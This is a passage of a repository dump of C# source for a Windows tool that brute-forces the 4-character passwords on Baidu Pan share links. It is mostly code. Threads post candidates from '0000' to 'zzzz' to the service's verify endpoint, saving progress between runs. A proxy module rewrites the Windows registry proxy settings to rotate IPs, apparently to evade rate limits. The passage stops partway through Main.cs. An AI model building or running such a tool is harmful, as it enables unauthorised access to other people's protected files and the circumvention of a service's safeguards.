    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.IO;\r\nusing System.Linq;\r\nusing System.Net;\r\nusing System.Text;\r\n\r\nnamespace zgcwkj\r\n{\r\n    /// <summary>\r\n    /// 网络请求帮助类\r\n    /// </summary>\r\n    public static class HttpHelp\r\n    {\r\n\r\n        public static CookieContainer cookie = new CookieContainer();\r\n\r\n        #region Get请求\r\n\r\n        /// <summary>\r\n        /// 请求路径\r\n        /// </summary>\r\n        /// <param name=\"Url\">请求的路径</param>\r\n        /// <returns>返回请求的网页数据</returns>\r\n        public static string HttpGet(string Url)\r\n        {\r\n            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n            request.Method = \"GET\";\r\n            request.ContentType = \"text/html;charset=UTF-8\";\r\n            request.CookieContainer = cookie;\r\n\r\n            try\r\n            {\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n                return retString;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                throw e;\r\n            }\r\n        }\r\n\r\n        #endregion Get请求\r\n\r\n        #region Post请求\r\n\r\n        /// <summary>\r\n        /// 提交数据\r\n        /// </summary>\r\n        /// <param name=\"Url\">提交的路径</param>\r\n        /// <param name=\"Data\">提交的数据</param>\r\n        /// <returns>返回结果</returns>\r\n        public static string HttpPost(string Url, string Data)\r\n        {\r\n            try\r\n            {\r\n                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n                request.ContentType = \"application/x-www-form-urlencoded;charset=UTF-8\";\r\n                request.Referer = Url;\r\n                request.ContentLength = Encoding.UTF8.GetByteCount(Data);\r\n                request.CookieContainer = cookie;\r\n                request.Method = \"POST\";\r\n\r\n                Stream myRequestStream = request.GetRequestStream();\r\n                byte[] postBytes = Encoding.UTF8.GetBytes(Data);\r\n                myRequestStream.Write(postBytes, 0, postBytes.Length);\r\n\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                response.Cookies = cookie.GetCookies(response.ResponseUri);\r\n\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n\r\n                return retString;\r\n            }\r\n            catch (Exception ex)\r\n            {\r\n                throw ex;\r\n            }\r\n        }\r\n\r\n        #endregion Post请求\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword/HttpProxy.cs",
    "content": "﻿using Microsoft.Win32;\r\nusing System;\r\nusing System.IO;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public class HttpProxy\r\n    {\r\n        #region 启动IP代理服务\r\n\r\n        /// <summary>\r\n        /// 启动IP代理服务\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        public bool startUp()\r\n        {\r\n            //记录Goto的次数\r\n            int i = 0;\r\n            //Goto 重新获取IP启动代理服务\r\n            Retry:\r\n            //Goto的次数自增\r\n            i++;\r\n            //尝试的次数达到一定的次数时退出\r\n            if (i > 10) return false;\r\n            //关闭代理服务\r\n            if (GetSwitchState()) SwitchOff();\r\n\r\n            #region 验证文件\r\n\r\n            //文件不存在\r\n            if (!File.Exists(StaticClass.proxy)) return false;\r\n            //文件为空\r\n            if (File.ReadAllText(StaticClass.proxy) == \"\") return false;\r\n            //文件为空\r\n            if (File.ReadAllText(StaticClass.proxy) == \"\\r\\n\") return false;\r\n\r\n            #endregion 验证文件\r\n\r\n            //获取电脑之前记录的代理IP\r\n            string ip = GetProxyIp();\r\n            //通过API获取代理数据\r\n            try\r\n            {\r\n                string proxy = File.ReadAllText(StaticClass.proxy);\r\n                string[] proxys = proxy.Replace(\"\\r\", \"\").Split('\\n');\r\n                ip = proxys[0];\r\n\r\n                File.Delete(StaticClass.proxy);\r\n                File.AppendAllText(StaticClass.proxy, proxy.Replace(ip + \"\\r\\n\", \"\"));\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                string str = e.Message;\r\n            }\r\n            //设置代理IP\r\n            SwitchOn(ip);\r\n            //验证代理IP能否使用\r\n            try\r\n            {\r\n                HttpHelp.HttpGet(\"https://blog.zgcwkj.top\");\r\n                return true;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                string str = e.Message;\r\n                SwitchOff();\r\n                //Goto 重试\r\n                goto Retry;\r\n            }\r\n        }\r\n\r\n        #endregion 启动IP代理服务\r\n\r\n        #region 通过注册表修改代理服务\r\n\r\n        //注册表位置\r\n        private string reg_path = @\"Microsoft\\Windows\\CurrentVersion\\Internet Settings\";\r\n\r\n        //Key名称\r\n        private string key_name = \"ProxyServer\";\r\n\r\n        //switch名称\r\n        private string switch_name = \"ProxyEnable\";\r\n\r\n        //启动代理\r\n        public void SwitchOn(string ip_port)\r\n        {\r\n            SetRegValue(reg_path, key_name, ip_port);\r\n            SetRegValue(reg_path, switch_name, 1);\r\n        }\r\n\r\n        //停止代理\r\n        public void SwitchOff()\r\n        {\r\n            SetRegValue(reg_path, switch_name, 0);\r\n        }\r\n\r\n        //获取代理状态\r\n        public bool GetSwitchState()\r\n        {\r\n            return GetRegValue(reg_path, switch_name) == \"1\";\r\n        }\r\n\r\n        //获取代理IP\r\n        public string GetProxyIp()\r\n        {\r\n            return GetRegValue(reg_path, key_name);\r\n        }\r\n\r\n        private void SetRegValue<T>(string path, string name, T value)\r\n        {\r\n            RegistryKey expr_05 = Registry.CurrentUser;\r\n            RegistryKey expr_17 = expr_05.OpenSubKey(@\"Software\\\" + path, true);\r\n            expr_17.SetValue(name, value);\r\n            expr_17.Close();\r\n            expr_05.Close();\r\n        }\r\n\r\n        private string GetRegValue(string path, string name)\r\n        {\r\n            string result = string.Empty;\r\n            RegistryKey currentUser = Registry.CurrentUser;\r\n            RegistryKey registryKey = currentUser.OpenSubKey(\"Software\\\\\" + path);\r\n            if (registryKey == null)\r\n            {\r\n                return null;\r\n            }\r\n            object value = registryKey.GetValue(name);\r\n            if (value != null)\r\n            {\r\n                result = value.ToString();\r\n            }\r\n            registryKey.Close();\r\n            currentUser.Close();\r\n            return result;\r\n        }\r\n\r\n        #endregion 通过注册表修改代理服务\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword/HttpTest.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Net;\r\nusing System.Text;\r\n\r\nnamespace zgcwkj\r\n{\r\n    /// <summary>\r\n    /// Http测试类(百度网盘分享连接密码测试)\r\n    /// </summary>\r\n    public class HttpTest\r\n    {\r\n        private string info = \"\";//唯一识别文件的值\r\n\r\n        /// <summary>\r\n        /// 实例测试类\r\n        /// </summary>\r\n        /// <param name=\"url\">访问的链接</param>\r\n        public HttpTest(string url)\r\n        {\r\n            info = \"surl=\" + url.Replace(\"https\", \"\").Replace(\"http\", \"\").Replace(\"://pan.baidu.com/\", \"\").Replace(\"share/init?surl=\", \"\").Replace(\"s/1\", \"\");\r\n        }\r\n\r\n        /// <summary>\r\n        /// 访问网页\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        public string Get()\r\n        {\r\n            return HttpGet(\"https://pan.baidu.com/share/init?\" + info);\r\n        }\r\n\r\n        /// <summary>\r\n        /// 提交密码\r\n        /// </summary>\r\n        /// <param name=\"pwd\">密码</param>\r\n        /// <returns></returns>\r\n        public string Post(string pwd)\r\n        {\r\n            DateTime time = DateTime.Now;\r\n            DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));\r\n            string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();\r\n\r\n            string url = \"https://pan.baidu.com/share/verify?\" + info + \"&t=\" + ts.ToString() + \"&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==\";\r\n            string data = \"pwd=\" + pwd + \"&vcode=&vcode_str=\";\r\n\r\n            return HttpPost(url, data);\r\n        }\r\n\r\n        #region 网络请求\r\n\r\n        private CookieContainer cookie = new CookieContainer();\r\n\r\n        #region Get请求\r\n\r\n        /// <summary>\r\n        /// 请求路径\r\n        /// </summary>\r\n        /// <param name=\"Url\">请求的路径</param>\r\n        /// <returns>返回请求的网页数据</returns>\r\n        private string HttpGet(string Url)\r\n        {\r\n            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n            request.Method = \"GET\";\r\n            request.ContentType = \"text/html;charset=UTF-8\";\r\n            request.CookieContainer = cookie;\r\n\r\n            try\r\n            {\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n                return retString;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                return e.Message;\r\n            }\r\n        }\r\n\r\n        #endregion Get请求\r\n\r\n        #region Post请求\r\n\r\n        /// <summary>\r\n        /// 提交数据\r\n        /// </summary>\r\n        /// <param name=\"Url\">提交的路径</param>\r\n        /// <param name=\"Data\">提交的数据</param>\r\n        /// <returns>返回结果</returns>\r\n        private string HttpPost(string Url, string Data)\r\n        {\r\n            try\r\n            {\r\n                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n                request.ContentType = \"application/x-www-form-urlencoded;charset=UTF-8\";\r\n                request.Referer = \"https://pan.baidu.com/share/init?\" + info;\r\n                request.ContentLength = Encoding.UTF8.GetByteCount(Data);\r\n                request.CookieContainer = cookie;\r\n                request.Method = \"POST\";\r\n\r\n                Stream myRequestStream = request.GetRequestStream();\r\n                byte[] postBytes = Encoding.UTF8.GetBytes(Data);\r\n                myRequestStream.Write(postBytes, 0, postBytes.Length);\r\n\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                response.Cookies = cookie.GetCookies(response.ResponseUri);\r\n\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n\r\n                return retString;\r\n            }\r\n            catch (Exception ex)\r\n            {\r\n                return ex.Message;\r\n            }\r\n        }\r\n\r\n        #endregion Post请求\r\n\r\n        #endregion 网络请求\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword/HttpThread.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Timers;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public class HttpThread\r\n    {\r\n        private Main myMain;//主窗体\r\n        private int StartValue = 0;//基值\r\n        private int NumberValue = 0;//剩余次数\r\n        private Timer timer;//线程\r\n        private string ThreadID;//线程ID\r\n\r\n        /// <summary>\r\n        /// http请求线程类\r\n        /// </summary>\r\n        /// <param name=\"main\">主窗体</param>\r\n        /// <param name=\"name\">线程名称</param>\r\n        /// <param name=\"start\">开始值</param>\r\n        /// <param name=\"number\">结束值</param>\r\n        /// <param name=\"interval\">线程速度</param>\r\n        public HttpThread(Main main, string name, int start, int number, int interval)\r\n        {\r\n            myMain = main;\r\n            StartValue = start;\r\n            NumberValue = number;\r\n            ThreadID = StaticClass.file + \"/\" + name;\r\n            timer = new Timer(interval);\r\n        }\r\n\r\n        /// <summary>\r\n        /// 启动线程\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        public HttpThread Start()\r\n        {\r\n            #region 载入历史参数\r\n\r\n            try\r\n            {\r\n                if (File.Exists(ThreadID + \".ini\"))\r\n                {\r\n                    string _start = File.ReadAllText(ThreadID + \".ini\");\r\n                    if (_start != \"\") StartValue = Convert.ToInt32(_start);\r\n                }\r\n            }\r\n            catch { }\r\n\r\n            #endregion 载入历史参数\r\n\r\n            timer.Elapsed += new ElapsedEventHandler(_Timer);\r\n            timer.Start();\r\n            return this;\r\n        }\r\n\r\n        private void _Timer(object sender, ElapsedEventArgs e)\r\n        {\r\n            Timer timer = sender as Timer;\r\n            if (NumberValue < StartValue || StaticClass.status)\r\n            {\r\n                #region 保存历史参数\r\n\r\n                try\r\n                {\r\n                    File.Delete(ThreadID + \".ini\");\r\n                    File.AppendAllText(ThreadID + \".ini\", StartValue.ToString());\r\n                }\r\n                catch { }\r\n\r\n                #endregion 保存历史参数\r\n\r\n                timer.Stop();\r\n            }\r\n            else\r\n            {\r\n                string password = Hash.HashTo4Str(StartValue);\r\n                HttpTest httptest = new HttpTest(StaticClass.url);\r\n                myMain.ModifyStr(httptest.Post(password), password);\r\n                StartValue = StartValue + 1;\r\n            }\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword/Main.Designer.cs",
    "content": "﻿namespace zgcwkj\r\n{\r\n    partial class Main\r\n    {\r\n        /// <summary>\r\n        /// 必需的设计器变量。\r\n        /// </summary>\r\n        private System.ComponentModel.IContainer components = null;\r\n\r\n        /// <summary>\r\n        /// 清理所有正在使用的资源。\r\n        /// </summary>\r\n        /// <param name=\"disposing\">如果应释放托管资源，为 true；否则为 false。</param>\r\n        protected override void Dispose(bool disposing)\r\n        {\r\n            if (disposing && (components != null))\r\n            {\r\n                components.Dispose();\r\n            }\r\n            base.Dispose(disposing);\r\n        }\r\n\r\n        #region Windows 窗体设计器生成的代码\r\n\r\n        /// <summary>\r\n        /// 设计器支持所需的方法 - 不要修改\r\n        /// 使用代码编辑器修改此方法的内容。\r\n        /// </summary>\r\n        private void InitializeComponent()\r\n        {\r\n            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));\r\n            this.txt_url = new System.Windows.Forms.Label();\r\n            this.text_url = new System.Windows.Forms.TextBox();\r\n            this.gb_1 = new System.Windows.Forms.GroupBox();\r\n            this.text_zxsd = new System.Windows.Forms.TextBox();\r\n            this.text_xczs = new System.Windows.Forms.TextBox();\r\n            this.text_jsd = new System.Windows.Forms.TextBox();\r\n            this.text_ksd = new System.Windows.Forms.TextBox();\r\n            this.txt_zxsd = new System.Windows.Forms.Label();\r\n            this.txt_xczs = new System.Windows.Forms.Label();\r\n            this.txt_jsd = new System.Windows.Forms.Label();\r\n            this.txt_ksd = new System.Windows.Forms.Label();\r\n            this.txt_ts = new System.Windows.Forms.Label();\r\n            this.btn_start = new System.Windows.Forms.Button();\r\n            this.fBD = new System.Windows.Forms.FolderBrowserDialog();\r\n            this.btn_status = new System.Windows.Forms.Button();\r\n            this.btn_net = new System.Windows.Forms.Button();\r\n            this.cB_ktwo = new System.Windows.Forms.CheckBox();\r\n            this.cB_mxwxz = new System.Windows.Forms.CheckBox();\r\n            this.CB_zgcwkj = new System.Windows.Forms.CheckBox();\r\n            this.cB_ypsuperkey = new System.Windows.Forms.CheckBox();\r\n            this.gb_1.SuspendLayout();\r\n            this.SuspendLayout();\r\n            // \r\n            // txt_url\r\n            // \r\n            this.txt_url.AutoSize = true;\r\n            this.txt_url.Location = new System.Drawing.Point(12, 14);\r\n            this.txt_url.Name = \"txt_url\";\r\n            this.txt_url.Size = new System.Drawing.Size(65, 12);\r\n            this.txt_url.TabIndex = 0;\r\n            this.txt_url.Text = \"目标地址：\";\r\n            // \r\n            // text_url\r\n            // \r\n            this.text_url.Location = new System.Drawing.Point(83, 10);\r\n            this.text_url.Name = \"text_url\";\r\n            this.text_url.Size = new System.Drawing.Size(389, 21);\r\n            this.text_url.TabIndex = 1;\r\n            // \r\n            // gb_1\r\n            // \r\n            this.gb_1.Controls.Add(this.text_zxsd);\r\n            this.gb_1.Controls.Add(this.text_xczs);\r\n            this.gb_1.Controls.Add(this.text_jsd);\r\n            this.gb_1.Controls.Add(this.text_ksd);\r\n            this.gb_1.Controls.Add(this.txt_zxsd);\r\n            this.gb_1.Controls.Add(this.txt_xczs);\r\n            this.gb_1.Controls.Add(this.txt_jsd);\r\n            this.gb_1.Controls.Add(this.txt_ksd);\r\n            this.gb_1.Location = new System.Drawing.Point(12, 37);\r\n            this.gb_1.Name = \"gb_1\";\r\n            this.gb_1.Size = new System.Drawing.Size(460, 73);\r\n            this.gb_1.TabIndex = 2;\r\n            this.gb_1.TabStop = false;\r\n            this.gb_1.Text = \"相关配置\";\r\n            // \r\n            // text_zxsd\r\n            // \r\n            this.text_zxsd.Location = new System.Drawing.Point(321, 17);\r\n            this.text_zxsd.MaxLength = 4;\r\n            this.text_zxsd.Name = \"text_zxsd\";\r\n            this.text_zxsd.Size = new System.Drawing.Size(131, 21);\r\n            this.text_zxsd.TabIndex = 5;\r\n            this.text_zxsd.Text = \"200\";\r\n            this.text_zxsd.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);\r\n            // \r\n            // text_xczs\r\n            // \r\n            this.text_xczs.Location = new System.Drawing.Point(93, 17);\r\n            this.text_xczs.MaxLength = 4;\r\n            this.text_xczs.Name = \"text_xczs\";\r\n            this.text_xczs.Size = new System.Drawing.Size(131, 21);\r\n            this.text_xczs.TabIndex = 4;\r\n            this.text_xczs.Text = \"100\";\r\n            this.text_xczs.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);\r\n            // \r\n            // text_jsd\r\n            // \r\n            this.text_jsd.Location = new System.Drawing.Point(321, 43);\r\n            this.text_jsd.MaxLength = 4;\r\n            this.text_jsd.Name = \"text_jsd\";\r\n            this.text_jsd.Size = new System.Drawing.Size(131, 21);\r\n            this.text_jsd.TabIndex = 7;\r\n            this.text_jsd.Text = \"zzzz\";\r\n            // \r\n            // text_ksd\r\n            // \r\n            this.text_ksd.Location = new System.Drawing.Point(93, 43);\r\n            this.text_ksd.MaxLength = 4;\r\n            this.text_ksd.Name = \"text_ksd\";\r\n            this.text_ksd.Size = new System.Drawing.Size(131, 21);\r\n            this.text_ksd.TabIndex = 6;\r\n            this.text_ksd.Text = \"0000\";\r\n            // \r\n            // txt_zxsd\r\n            // \r\n            this.txt_zxsd.AutoSize = true;\r\n            this.txt_zxsd.Location = new System.Drawing.Point(232, 20);\r\n            this.txt_zxsd.Name = \"txt_zxsd\";\r\n            this.txt_zxsd.Size = new System.Drawing.Size(89, 12);\r\n            this.txt_zxsd.TabIndex = 1;\r\n            this.txt_zxsd.Text = \"线程执行速度：\";\r\n            // \r\n            // txt_xczs\r\n            // \r\n            this.txt_xczs.AutoSize = true;\r\n            this.txt_xczs.Location = new System.Drawing.Point(10, 20);\r\n            this.txt_xczs.Name = \"txt_xczs\";\r\n            this.txt_xczs.Size = new System.Drawing.Size(65, 12);\r\n            this.txt_xczs.TabIndex = 0;\r\n            this.txt_xczs.Text = \"线程总数：\";\r\n            // \r\n            // txt_jsd\r\n            // \r\n            this.txt_jsd.AutoSize = true;\r\n            this.txt_jsd.Location = new System.Drawing.Point(232, 46);\r\n            this.txt_jsd.Name = \"txt_jsd\";\r\n            this.txt_jsd.Size = new System.Drawing.Size(77, 12);\r\n            this.txt_jsd.TabIndex = 3;\r\n            this.txt_jsd.Text = \"密码结束点：\";\r\n            // \r\n            // txt_ksd\r\n            // \r\n            this.txt_ksd.AutoSize = true;\r\n            this.txt_ksd.Location = new System.Drawing.Point(10, 46);\r\n            this.txt_ksd.Name = \"txt_ksd\";\r\n            this.txt_ksd.Size = new System.Drawing.Size(77, 12);\r\n            this.txt_ksd.TabIndex = 2;\r\n            this.txt_ksd.Text = \"密码开始点：\";\r\n            // \r\n            // txt_ts\r\n            // \r\n            this.txt_ts.ForeColor = System.Drawing.Color.Red;\r\n            this.txt_ts.Location = new System.Drawing.Point(12, 163);\r\n            this.txt_ts.Name = \"txt_ts\";\r\n            this.txt_ts.Size = new System.Drawing.Size(460, 45);\r\n            this.txt_ts.TabIndex = 8;\r\n            this.txt_ts.Text = \"程序：百度网盘分享文件密码分析器 V 1.8.0.6\\r\\n\\r\\n开源地址：https://github.com/zgcwkj/TestBaiduPasswor\" +\r\n    \"d\";\r\n            this.txt_ts.Click += new System.EventHandler(this.txt_ts_Click);\r\n            // \r\n            // btn_start\r\n            // \r\n            this.btn_start.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\r\n            this.btn_start.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));\r\n            this.btn_start.Location = new System.Drawing.Point(12, 113);\r\n            this.btn_start.Name = \"btn_start\";\r\n            this.btn_start.Size = new System.Drawing.Size(234, 44);\r\n            this.btn_start.TabIndex = 3;\r\n            this.btn_start.Text = \"打开/生成 解决方案\";\r\n            this.btn_start.UseVisualStyleBackColor = true;\r\n            this.btn_start.Click += new System.EventHandler(this.btn_start_Click);\r\n            // \r\n            // btn_status\r\n            // \r\n            this.btn_status.Enabled = false;\r\n            this.btn_status.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\r\n            this.btn_status.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));\r\n            this.btn_status.Location = new System.Drawing.Point(252, 113);\r\n            this.btn_status.Name = \"btn_status\";\r\n            this.btn_status.Size = new System.Drawing.Size(94, 44);\r\n            this.btn_status.TabIndex = 4;\r\n            this.btn_status.Text = \"启动\";\r\n            this.btn_status.UseVisualStyleBackColor = true;\r\n            this.btn_status.Click += new System.EventHandler(this.btn_status_Click);\r\n            // \r\n            // btn_net\r\n            // \r\n            this.btn_net.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\r\n            this.btn_net.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(0)))));\r\n            this.btn_net.Location = new System.Drawing.Point(364, 113);\r\n            this.btn_net.Name = \"btn_net\";\r\n            this.btn_net.Size = new System.Drawing.Size(108, 44);\r\n            this.btn_net.TabIndex = 5;\r\n            this.btn_net.Text = \"联网查密\";\r\n            this.btn_net.UseVisualStyleBackColor = true;\r\n            this.btn_net.Click += new System.EventHandler(this.btn_net_Click);\r\n            // \r\n            // cB_ktwo\r\n            // \r\n            this.cB_ktwo.AutoSize = true;\r\n            this.cB_ktwo.Location = new System.Drawing.Point(263, 216);\r\n            this.cB_ktwo.Name = \"cB_ktwo\";\r\n            this.cB_ktwo.Size = new System.Drawing.Size(192, 16);\r\n            this.cB_ktwo.TabIndex = 10;\r\n            this.cB_ktwo.Text = \"使用 kTWO 提供的自动代理服务\";\r\n            this.cB_ktwo.UseVisualStyleBackColor = true;\r\n            this.cB_ktwo.CheckedChanged += new System.EventHandler(this.cB_ktwo_CheckedChanged);\r\n            // \r\n            // cB_mxwxz\r\n            // \r\n            this.cB_mxwxz.AutoSize = true;\r\n            this.cB_mxwxz.Checked = true;\r\n            this.cB_mxwxz.CheckState = System.Windows.Forms.CheckState.Checked;\r\n            this.cB_mxwxz.Location = new System.Drawing.Point(10, 216);\r\n            this.cB_mxwxz.Name = \"cB_mxwxz\";\r\n            this.cB_mxwxz.Size = new System.Drawing.Size(240, 16);\r\n            this.cB_mxwxz.TabIndex = 10;\r\n            this.cB_mxwxz.Text = \"使用 MXWXZ 的数据提交和哈希排序 方案\";\r\n            this.cB_mxwxz.UseVisualStyleBackColor = true;\r\n            // \r\n            // CB_zgcwkj\r\n            // \r\n            this.CB_zgcwkj.AutoSize = true;\r\n            this.CB_zgcwkj.Checked = true;\r\n            this.CB_zgcwkj.CheckState = System.Windows.Forms.CheckState.Checked;\r\n            this.CB_zgcwkj.Enabled = false;\r\n            this.CB_zgcwkj.Location = new System.Drawing.Point(10, 243);\r\n            this.CB_zgcwkj.Name = \"CB_zgcwkj\";\r\n            this.CB_zgcwkj.Size = new System.Drawing.Size(210, 16);\r\n            this.CB_zgcwkj.TabIndex = 11;\r\n            this.CB_zgcwkj.Text = \"使用 zgcwkj 提供的多线程等 方案\";\r\n            this.CB_zgcwkj.UseVisualStyleBackColor = true;\r\n            // \r\n            // cB_ypsuperkey\r\n            // \r\n            this.cB_ypsuperkey.AutoSize = true;\r\n            this.cB_ypsuperkey.Checked = true;\r\n            this.cB_ypsuperkey.CheckState = System.Windows.Forms.CheckState.Checked;\r\n            this.cB_ypsuperkey.Location = new System.Drawing.Point(263, 243);\r\n            this.cB_ypsuperkey.Name = \"cB_ypsuperkey\";\r\n            this.cB_ypsuperkey.Size = new System.Drawing.Size(216, 16);\r\n            this.cB_ypsuperkey.TabIndex = 12;\r\n            this.cB_ypsuperkey.Text = \"使用 云盘万能钥匙 提供放接口服务\";\r\n            this.cB_ypsuperkey.UseVisualStyleBackColor = true;\r\n            // \r\n            // Main\r\n            // \r\n            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);\r\n            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\r\n            this.ClientSize = new System.Drawing.Size(484, 241);\r\n            this.Controls.Add(this.cB_ypsuperkey);\r\n            this.Controls.Add(this.CB_zgcwkj);\r\n            this.Controls.Add(this.cB_mxwxz);\r\n            this.Controls.Add(this.cB_ktwo);\r\n            this.Controls.Add(this.btn_net);\r\n            this.Controls.Add(this.btn_status);\r\n            this.Controls.Add(this.txt_ts);\r\n            this.Controls.Add(this.gb_1);\r\n            this.Controls.Add(this.text_url);\r\n            this.Controls.Add(this.txt_url);\r\n            this.Controls.Add(this.btn_start);\r\n            this.Icon = ((System.Drawing.Icon)(resources.GetObject(\"$this.Icon\")));\r\n            this.MaximizeBox = false;\r\n            this.MaximumSize = new System.Drawing.Size(500, 300);\r\n            this.MinimizeBox = false;\r\n            this.MinimumSize = new System.Drawing.Size(500, 280);\r\n            this.Name = \"Main\";\r\n            this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;\r\n            this.Text = \"百度网盘分享文件密码分析器\";\r\n            this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Main_FormClosed);\r\n            this.gb_1.ResumeLayout(false);\r\n            this.gb_1.PerformLayout();\r\n            this.ResumeLayout(false);\r\n            this.PerformLayout();\r\n\r\n        }\r\n\r\n        #endregion\r\n        private System.Windows.Forms.Label txt_url;\r\n        private System.Windows.Forms.TextBox text_url;\r\n        private System.Windows.Forms.GroupBox gb_1;\r\n        private System.Windows.Forms.Label txt_ksd;\r\n        private System.Windows.Forms.Label txt_jsd;\r\n        private System.Windows.Forms.TextBox text_jsd;\r\n        private System.Windows.Forms.TextBox text_ksd;\r\n        private System.Windows.Forms.TextBox text_zxsd;\r\n        private System.Windows.Forms.TextBox text_xczs;\r\n        private System.Windows.Forms.Label txt_zxsd;\r\n        private System.Windows.Forms.Label txt_xczs;\r\n        private System.Windows.Forms.Label txt_ts;\r\n        private System.Windows.Forms.Button btn_start;\r\n        private System.Windows.Forms.FolderBrowserDialog fBD;\r\n        private System.Windows.Forms.Button btn_status;\r\n        private System.Windows.Forms.Button btn_net;\r\n        private System.Windows.Forms.CheckBox cB_ktwo;\r\n        private System.Windows.Forms.CheckBox cB_mxwxz;\r\n        private System.Windows.Forms.CheckBox CB_zgcwkj;\r\n        private System.Windows.Forms.CheckBox cB_ypsuperkey;\r\n    }\r\n}\r\n\r\n"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword/Main.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Text.RegularExpressions;\r\nusing System.Windows.Forms;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public partial class Main : Form\r\n    {\r\n        public Main()\r\n        {\r\n            InitializeComponent();\r\n        }\r\n\r\n        /// <summary>\r\n        /// 解决方案\r\n        /// </summary>\r\n        private void btn_start_Click(object sender, EventArgs e)\r\n        {\r\n            if (fBD.ShowDialog() == DialogResult.OK)\r\n            {\r\n                #region 防止选择非空文件夹或者不是项目的文件\r\n\r\n                //把选择的路径赋值给静态变量\r\n                StaticClass.file = fBD.SelectedPath;\r\n                //把配置文件的路径赋值给静态变量\r\n                StaticClass.config = fBD.SelectedPath + \"\\\\Configuration.ini\";\r\n                //把代理文件的路径赋值给静态变量\r\n                StaticClass.proxy = fBD.SelectedPath + \"\\\\proxy.ini\";\r\n                //获取路径下所有文件\r\n                string[] files = Directory.GetFiles(StaticClass.file);\r\n                //拒绝选择有文件的文件夹\r\n                if (files.Length > 0)\r\n                {\r\n                    if (File.Exists(StaticClass.config))\r\n                    {\r\n                        string[] str = File.ReadAllText(StaticClass.config).Split('∆');\r\n                        text_url.Text = str[0];\r\n                        text_xczs.Text = str[1];\r\n                        text_zxsd.Text = str[2];\r\n                    }\r\n                    else\r\n                    {\r\n                        MessageBox.Show(\"请务必选择空的文件夹\");\r\n                        return;\r\n                    }\r\n                }\r\n\r\n                #endregion 防止选择非空文件夹或者不是项目的文件\r\n\r\n                #region 防止空文本也执行\r\n\r\n                if (text_url.Text.Trim() == \"\" || !text_url.Text.Contains(\"pan.baidu\")) { MessageBox.Show(\"请输入百度云盘链接\"); return; }\r\n                if (text_xczs.Text == \"\") { MessageBox.Show(\"线程总数错误\"); return; }\r\n                if (text_zxsd.Text == \"\") { MessageBox.Show(\"线程执行速度错误\"); return; }\r\n                if (text_ksd.Text.Length != 4) { MessageBox.Show(\"密码开始点错误\"); return; }\r\n                if (text_jsd.Text.Length != 4) { MessageBox.Show(\"密码结束点错误\"); return; }\r\n\r\n                #endregion 防止空文本也执行\r\n\r\n                #region 生成配置文件\r\n\r\n                if (!File.Exists(StaticClass.config))\r\n                {\r\n                    string Configuration;\r\n                    try\r\n                    {\r\n                        Configuration = File.ReadAllText(StaticClass.config);\r\n                        string[] str = Configuration.Split('∆');\r\n                        text_url.Text = str[0];\r\n                        text_xczs.Text = str[1];\r\n                        text_zxsd.Text = str[2];\r\n                    }\r\n                    catch\r\n                    {\r\n                        Configuration = 